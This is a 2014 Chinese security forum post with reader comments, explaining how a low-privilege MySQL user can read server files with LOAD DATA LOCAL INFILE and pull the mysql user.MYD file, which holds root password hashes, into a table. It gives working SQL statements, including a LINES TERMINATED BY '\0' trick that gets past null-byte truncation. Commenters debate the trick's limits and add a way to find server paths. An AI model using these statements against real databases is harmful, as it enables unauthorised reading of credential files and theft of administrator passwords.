Mysql漏洞利用(越权,实战怎么从低权限拿到root密码)
cnrstar (Be My Personal Best!) | 2014-05-20 21:58
众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件,但是偶尔在一个网站上发现个小技巧,也就是通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下:
LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';
后来我就一直想怎么利用这个问题。一个可行的思路如下:
我们去读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash,我们只要读取到这个文件,就差不多读取到了root的密码。
于是本地测试,注意,我当前连接的用户test是没有File权限的:
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';
然后
select * from test2;
发现啥都木有,只有一个烂字符,我们用winhex打开一下user.myd文件
OK,找到问题了,被00字符给截断了,导致后面的东西都没进数据库。下面就想办法绕过这个限制。
经过几次尝试发现,在后面加上LINES TERMINATED BY '\0' 即可,这样子就把截断符号作为分隔符处理了,完整的语句:
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '\0';
效果:
OK,完成!
各种讨论:
1#
pangshenjie (whoami) | 2014-05-20 22:08
赞,给力
2#
漂流瓶 (http://cmd5.cc/) | 2014-05-20 22:10
你这么屌 甲骨文知道吗
3#
Mody | 2014-05-20 22:16
mark,貌似LOAD DATA LOCAL INFILE也是有限制的
4#
园长 (乱码你好,乱码再见。) | 2014-05-20 22:25
楼主可以参考下:Mysql 低权限账号读取文件 和这篇文章:load data file使用详解 我测试的时候TERMINATED用的是换行符嘛。
5#
cnrstar (Be My Personal Best!) | 2014-05-20 22:26
@园长 就是参考着测试的唉~
6#
cnrstar (Be My Personal Best!) | 2014-05-20 22:28
@园长 不过刚开始确实被那个00截断给郁闷了,然后看了下load data file的语法成功了。
7#
ghy459 (深挖洞,广积shell。) | 2014-05-20 22:36
为何如此diao
8#
Spy4man (linux fans, 无知无畏者) | 2014-05-20 22:37
我是来给大牛捧场的~.~
9#
cnrstar (Be My Personal Best!) | 2014-05-20 22:37
@ghy459 富帅,球0day
10#
t00000by57 (no exploit) | 2014-05-20 22:42
LOAD DATA LOCAL INFILE 不是读取的本地文件吗
实战中 能用来绕过open_basedir就不错了 实际上好像也不行
总之 感觉 很鸡肋的一个东西
11#
Xiao_C | 2014-05-20 22:59
丁丁更健康
12#
cnrstar (Be My Personal Best!) | 2014-05-20 23:02
@t00000by57 open_basedir是php的配置吧,这个绕不绕得过,我感觉读文件依赖mysql的权限,应该跟php的配置没关系吧。
这个说鸡肋也鸡肋,说不鸡肋也很有用,看自己用法吧。
13#
炯炯虾 | 2014-05-20 23:07
这个zone以前发过几篇国外技巧的文章里面有
14#
loopx9 | 2014-05-20 23:14
语句应该去掉local吧,不然读取的是客户端的文件
15#
pangshenjie (whoami) | 2014-05-20 23:17
@ghy459 富帅,球0day
16#
luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2014-05-21 00:40
我特码的今天竟然记错了这个函数。。
17#
by小星星 | 2014-05-21 01:20
我是来给大牛捧场的~.~
18#
feng | 2014-05-21 09:44
表示 直接 LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by ''; 就成功了
19#
Gavin | 2014-05-21 10:50
路径可以结合SHOW VARIABLES LIKE "%plugin_dir%" 获取
20#
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-05-21 11:26
屌炸天!
21#
Xeyes (无个性,不签名.) | 2014-05-21 11:29
mark~~~
留言评论(旧系统):